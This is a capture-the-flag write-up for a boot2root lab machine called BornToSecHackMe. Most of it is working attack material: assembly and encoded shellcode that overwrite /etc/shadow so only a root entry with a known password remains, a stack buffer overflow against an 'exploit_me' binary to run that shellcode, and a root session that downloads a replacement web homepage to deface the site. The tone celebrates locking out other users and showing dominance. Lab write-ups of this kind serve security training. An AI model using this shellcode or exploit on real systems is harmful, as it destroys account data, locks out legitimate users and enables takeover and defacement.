./dontTouchMyWebSocket

In this write-up, our strategy involves a **bold** move: we plan to delete the contents of the **/etc/shadow** file, leaving only the **root** user and then change its **password**. This action will effectively lock out all other users from the system, consolidating control under the root account.

After this, as a clear signal of our presence and to ensure the system administrators are aware of the intrusion, we'll modify their homepage. This approach not only demonstrates a significant level of control over the system but also serves as a direct message to the administrators ;)

The first step in executing this plan is to craft the necessary **shellcode**, and for that, we need to start with the **assembly** code.

```
section .text
    global _start

_start:
    xor eax, eax          ; Clear eax
    xor ecx, ecx          ; Clear ecx
    xor edx, edx          ; Clear edx
    push eax              ; Push null byte onto stack
    push 0x776f6461       ; adow
    push 0x68732f63       ; c/sh
    push 0x74652f2f       ; //et

    mov ebx, esp          ; Move pointer to file name into ebx
    mov al, 5             ; sys_open
    mov cl, 65            ; O_WRONLY | O_CREAT
    mov dx, 440           ; permissions
    int 0x80

    mov ebx, eax          ; file descriptor

    xor eax, eax          ; Clear eax
    push eax              ; Push null byte onto stack

    push 0x20203a3a       ; root:$6$TJd1amE7$Uh4ViEj1yE/...19684:0:99999:7:::
    push 0x3a373a39
    push 0x39393939
    push 0x3a303a34
    push 0x38363931
    push 0x3a306c63
    push 0x434d5044
    push 0x5a4b6431
    push 0x67694b53
    push 0x42463043
    push 0x6f774e4d
    push 0x4e57534e
    push 0x37654b6b
    push 0x74457671
    push 0x32455667
    push 0x772e4741
    push 0x37733669
    push 0x66706d76
    push 0x6a545663
    push 0x70644c4a
    push 0x62584341
    push 0x42664d50
    push 0x7a564b50
    push 0x356d3974
    push 0x2f457931
    push 0x6a456956
    push 0x34685524
    push 0x37456d61
    push 0x31644a54
    push 0x2436243a
    push 0x746f6f72

    ; Write to file
    mov al, 4             ; sys_write
    xor edx, edx          ; Clear edx
    mov ecx, esp
    mov dl, 122           ; length of string
    int 0x80

    ; Close file
    mov al, 6             ; sys_close
    int 0x80

    ; Exit
    mov al, 1             ; sys_exit
    xor ebx, ebx
    int 0x80
```

The objective of our **assembly code** is clear: it's designed to write a new **root password** directly into the **/etc/shadow** file. Crucially, the code will execute this action in write mode, which means that the existing contents of the file, except for the **root** user's entry, will be **overwritten** and effectively **deleted**.

Following the same steps as in our previous write-up, we will **assemble** this code with **NASM** and then use **objdump** to generate the corresponding **shellcode**. Finally, using **GDB**, as detailed in our earlier approach, we will locate the environment variable with our shellcode in the context of the **exploit_me** program. Knowing this address is key to successfully triggering our shellcode through the exploit.

```
zaz@BornToSecHackMe:~$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xc9\
x31\xd2\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\
xe3\xb0\x05\x66\xb9\x41\x02\x66\xba\xb8\x01\xcd\x80\x89\xc3\x31\xc0\x50\x68\
x3a\x3a\x20\x20\x68\x39\x3a\x37\x3a\x68\x39\x39\x39\x39\x68\x34\x3a\x30\x3a\
x68\x31\x39\x36\x38\x68\x63\x6c\x30\x3a\x68\x44\x50\x4d\x43\x68\x31\x64\x4b\
x5a\x68\x53\x4b\x69\x67\x68\x43\x30\x46\x42\x68\x4d\x4e\x77\x6f\x68\x4e\x53\
x57\x4e\x68\x6b\x4b\x65\x37\x68\x71\x76\x45\x74\x68\x67\x56\x45\x32\x68\x41\
x47\x2e\x77\x68\x69\x36\x73\x37\x68\x76\x6d\x70\x66\x68\x63\x56\x54\x6a\x68\
x4a\x4c\x64\x70\x68\x41\x43\x58\x62\x68\x50\x4d\x66\x42\x68\x50\x4b\x56\x7a\
x68\x74\x39\x6d\x35\x68\x31\x79\x45\x2f\x68\x56\x69\x45\x6a\x68\x24\x55\x68\
x34\x68\x61\x6d\x45\x37\x68\x54\x4a\x64\x31\x68\x3a\x24\x36\x24\x68\x72\x6f\
x6f\x74\xb0\x04\x31\xd2\x89\xe1\xb2\x7a\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\
xdb\xcd\x80"')

zaz@BornToSecHackMe:~$ env - PWD=$PWD SHELLCODE="$SHELLCODE" ~/exploit_me
$(python -c 'print "A" * 140 + "\xbf\xff\xff\x0e"[::-1]')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□□□

zaz@BornToSecHackMe:~$ su root
Password: miao

root@BornToSecHackMe:~# id
uid=0(root) gid=0(root) groups=0(root)

root@BornToSecHackMe:~# cd /var/www

root@BornToSecHackMe:~# wget https://raw.githubusercontent.com/Alixmixx/
Boot2root/main/scripts/bonus/dontTouchMyWebSocket/index.html
```

Having gained **root** access, we took the final step in our operation: changing the server's index page. We replaced the existing homepage with a new one crafted by us.

This action was a definitive display of control over the system, symbolically showcasing our dominance - a clear indication of who's the king in this scenario.

This modification not only demonstrated our technical prowess but also served as a direct message to the system administrators about the extent of our access and capabilities.